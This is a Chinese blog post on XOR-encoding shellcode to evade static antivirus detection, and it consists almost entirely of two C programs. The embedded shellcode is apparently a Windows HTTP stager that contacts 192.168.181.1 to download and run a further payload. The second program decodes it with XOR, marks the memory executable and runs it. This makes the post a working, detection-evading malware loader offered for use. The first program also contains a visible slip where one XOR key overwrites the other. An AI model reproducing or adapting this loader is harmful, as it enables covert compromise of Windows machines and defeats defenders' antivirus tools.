0%

Shellcode异或

通过 shellcode 变形掩盖其特征以绕过静态查杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//shellcode xorencode
#include <stdio.h>
#include <Windows.h>

unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x44\x6f\x67\x43\x73\x44\x6f\x67\x43\x73\x2e\x6a\x73\x00\xce\x32\x3f\xe1\xbc\x7e\xdf\x16\xc5\xec\xd3\x08\xa5\xa9\xfd\xe8\x0c\x62\x21\x9e\x58\x71\xdb\xc4\x1c\xb5\xb7\x6a\x51\x66\x5b\x16\x92\xe3\x50\x3e\xb9\x43\x9e\xab\xc4\xa6\x36\x6c\x68\xaa\x2a\x9c\xe8\xcd\x32\xc3\x22\x78\x77\x17\xb0\xb6\xae\x7d\x2c\xbb\x0c\x04\x0e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x99\xc4\xdc\xc9\x44\xd2\x8a\xbf\x32\xa7\x06\x20\x29\x57\x58\x03\x21\xae\xab\x53\x2b\x60\xe6\x68\xcd\xcb\xc0\xee\x23\xb5\x0b\xa0\xa7\xf0\x61\xec\x55\x34\x3e\x5c\xaa\xe3\x9f\xb0\x6c\xa8\xd3\x05\xfd\xb4\x9b\xad\xed\x36\x4b\xee\x9d\xec\xfa\x18\x6d\xf1\x33\xc7\x88\x3a\x64\x77\x98\x98\x26\x89\xcb\xa9\x51\x39\xe8\x50\xa5\xba\xaf\xe4\x9b\x2f\x51\x99\x44\xac\x5f\xcf\xbc\x8a\xac\x06\xa7\x59\x1a\xf4\xfd\xc7\x34\xe7\xdc\xd0\xd6\x38\x64\x53\xbc\xea\x6e\x75\xcc\x87\x50\x99\xee\x5a\xaa\x10\xf0\x75\x16\x75\xe5\x80\x10\xe3\xb6\x7f\xe6\x2f\xc5\xcb\x5c\x2c\x6b\xbb\xb4\x73\x90\x9e\x4a\x7f\xef\x8a\xe0\x51\x25\x71\x00\x14\xdd\x20\x6d\xda\x86\x08\xef\x90\x83\x32\x76\xb5\xf4\xcc\xdd\x4f\x0d\x7e\xb2\xb9\xbb\x9d\x62\x2b\xc7\xfe\xf8\xdb\xe3\x57\x6c\x1a\xe8\x36\x08\x82\x97\xd2\xde\x3e\x53\x38\xb5\xb1\x19\xb3\x83\xe9\x39\xce\x06\xd5\x8f\x5b\x56\xc3\xdf\xa4\xfa\xda\xc8\xcf\x31\x63\x5b\x03\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x31\x2e\x31\x00\x05\xf5\xe1\x00";


int main(int argc, char* argv[])

{

int key1 = 50;
int key2 = 66;
unsigned char enShellCode[892];
unsigned char deShellCode[892];
int nLen = sizeof(buf) - 1;
for (int i = 0; i < nLen; i++)
{
enShellCode[i] = buf[i] ^ key1;
enShellCode[i] = buf[i] ^ key2;
printf("\\x%02x", enShellCode[i]);
}

printf("-----------------------------------\n");

for (int i = 0; i < nLen; i++)
{
deShellCode[i] = enShellCode[i] ^ key1;
deShellCode[i] = enShellCode[i] ^ key2;
printf("\\x%02x", deShellCode[i]);
}

system("pause");
return 0;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <Windows.h>

void  main() {

unsigned char buf[] = "\xbe\xaa\xcb\x42\x42\x42\x22\xcb\xa7\x73\x90\x26\xc9\x10\x72\xc9\x10\x4e\xc9\x10\x56\xc9\x30\x6a\x4d\xf5\x08\x64\x73\xbd\x73\x82\xee\x7e\x23\x3e\x40\x6e\x62\x83\x8d\x4f\x43\x85\xa0\xb2\x10\x15\xc9\x10\x52\xc9\x00\x7e\x43\x92\xc9\x02\x3a\xc7\x82\x36\x08\x43\x92\x12\xc9\x0a\x5a\xc9\x1a\x62\x43\x91\xa1\x7e\x0b\xc9\x76\xc9\x43\x94\x73\xbd\x73\x82\xee\x83\x8d\x4f\x43\x85\x7a\xa2\x37\xb6\x41\x3f\xba\x79\x3f\x66\x37\xa0\x1a\xc9\x1a\x66\x43\x91\x24\xc9\x4e\x09\xc9\x1a\x5e\x43\x91\xc9\x46\xc9\x43\x92\xcb\x06\x66\x66\x19\x19\x23\x1b\x18\x13\xbd\xa2\x1a\x1d\x18\xc9\x50\xa9\xc4\x1f\x2a\x2c\x27\x36\x42\x2a\x35\x2b\x2c\x2b\x16\x2a\x0e\x35\x64\x45\xbd\x97\x73\xbd\x15\x15\x15\x15\x15\x2a\x78\x14\x3b\xe5\xbd\x97\xab\xc6\x42\x42\x42\x19\x73\x8b\x13\x13\x28\x41\x13\x13\x2a\x12\x42\x42\x42\x11\x12\x2a\x15\xcb\xdd\x84\xbd\x97\xa9\x32\x19\x73\x90\x10\x2a\x42\x40\x02\xc6\x10\x10\x10\x11\x10\x12\x2a\xa9\x17\x6c\x79\xbd\x97\xcb\x84\xc1\x81\x12\x73\xbd\x15\x15\x28\xbd\x11\x14\x2a\x6f\x44\x5a\x39\xbd\x97\xc7\x82\x4d\xc6\x81\x43\x42\x42\x73\xbd\xc7\xb4\x36\x46\xcb\xbb\xa9\x4b\x2a\xe8\x87\xa0\x1f\xbd\x97\xcb\x83\x2a\x07\x63\x1c\x73\xbd\x97\x73\xbd\x15\x28\x45\x13\x14\x12\x2a\xf5\x15\xa2\x49\xbd\x97\xfd\x42\x6d\x42\x42\x7b\x85\x36\xf5\x73\xbd\xab\xd3\x43\x42\x42\xab\x8b\x43\x42\x42\xaa\xc9\xbd\xbd\xbd\x06\x2d\x25\x01\x31\x06\x2d\x25\x01\x31\x6c\x28\x31\x42\x8c\x70\x7d\xa3\xfe\x3c\x9d\x54\x87\xae\x91\x4a\xe7\xeb\xbf\xaa\x4e\x20\x63\xdc\x1a\x33\x99\x86\x5e\xf7\xf5\x28\x13\x24\x19\x54\xd0\xa1\x12\x7c\xfb\x01\xdc\xe9\x86\xe4\x74\x2e\x2a\xe8\x68\xde\xaa\x8f\x70\x81\x60\x3a\x35\x55\xf2\xf4\xec\x3f\x6e\xf9\x4e\x46\x4c\x42\x17\x31\x27\x30\x6f\x03\x25\x27\x2c\x36\x78\x62\x0f\x2d\x38\x2b\x2e\x2e\x23\x6d\x77\x6c\x72\x62\x6a\x21\x2d\x2f\x32\x23\x36\x2b\x20\x2e\x27\x79\x62\x0f\x11\x0b\x07\x62\x7b\x6c\x72\x79\x62\x15\x2b\x2c\x26\x2d\x35\x31\x62\x0c\x16\x62\x74\x6c\x73\x79\x62\x15\x0d\x15\x74\x76\x79\x62\x16\x30\x2b\x26\x27\x2c\x36\x6d\x77\x6c\x72\x6b\x4f\x48\x42\xdb\x86\x9e\x8b\x06\x90\xc8\xfd\x70\xe5\x44\x62\x6b\x15\x1a\x41\x63\xec\xe9\x11\x69\x22\xa4\x2a\x8f\x89\x82\xac\x61\xf7\x49\xe2\xe5\xb2\x23\xae\x17\x76\x7c\x1e\xe8\xa1\xdd\xf2\x2e\xea\x91\x47\xbf\xf6\xd9\xef\xaf\x74\x09\xac\xdf\xae\xb8\x5a\x2f\xb3\x71\x85\xca\x78\x26\x35\xda\xda\x64\xcb\x89\xeb\x13\x7b\xaa\x12\xe7\xf8\xed\xa6\xd9\x6d\x13\xdb\x06\xee\x1d\x8d\xfe\xc8\xee\x44\xe5\x1b\x58\xb6\xbf\x85\x76\xa5\x9e\x92\x94\x7a\x26\x11\xfe\xa8\x2c\x37\x8e\xc5\x12\xdb\xac\x18\xe8\x52\xb2\x37\x54\x37\xa7\xc2\x52\xa1\xf4\x3d\xa4\x6d\x87\x89\x1e\x6e\x29\xf9\xf6\x31\xd2\xdc\x08\x3d\xad\xc8\xa2\x13\x67\x33\x42\x56\x9f\x62\x2f\x98\xc4\x4a\xad\xd2\xc1\x70\x34\xf7\xb6\x8e\x9f\x0d\x4f\x3c\xf0\xfb\xf9\xdf\x20\x69\x85\xbc\xba\x99\xa1\x15\x2e\x58\xaa\x74\x4a\xc0\xd5\x90\x9c\x7c\x11\x7a\xf7\xf3\x5b\xf1\xc1\xab\x7b\x8c\x44\x97\xcd\x19\x14\x81\x9d\xe6\xb8\x98\x8a\x8d\x73\x21\x19\x41\x42\x2a\xb2\xf7\xe0\x14\xbd\x97\x28\x02\x2a\x42\x52\x42\x42\x2a\x42\x42\x02\x42\x15\x2a\x1a\xe6\x11\xa7\xbd\x97\xd1\xfb\x42\x42\x42\x42\x43\x9b\x13\x11\xcb\xa5\x15\x2a\x42\x62\x42\x42\x11\x14\x2a\x50\xd4\xcb\xa0\xbd\x97\xc7\x82\x36\x84\xc9\x45\x43\x81\xc7\x82\x37\xa7\x1a\x81\xaa\xeb\xbf\xbd\xbd\x73\x7b\x70\x6c\x73\x74\x7a\x6c\x73\x7a\x73\x6c\x73\x42\x47\xb7\xa3\x42";

unsigned char shellcode[892];

//进行异或

int len = sizeof(buf) - 1;
for (int i = 0; i < len; i++)

{
buf[i] ^= 66;
shellcode[i] = buf[i];
//printf("\\x%02x", shellcode[i]);
}

DWORD temp;
//使用VirtualProtect 修改内存页的属性 改为可执行权限
VirtualProtect(shellcode, sizeof shellcode, PAGE_EXECUTE, &temp);
((void(*)())shellcode)();

}

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------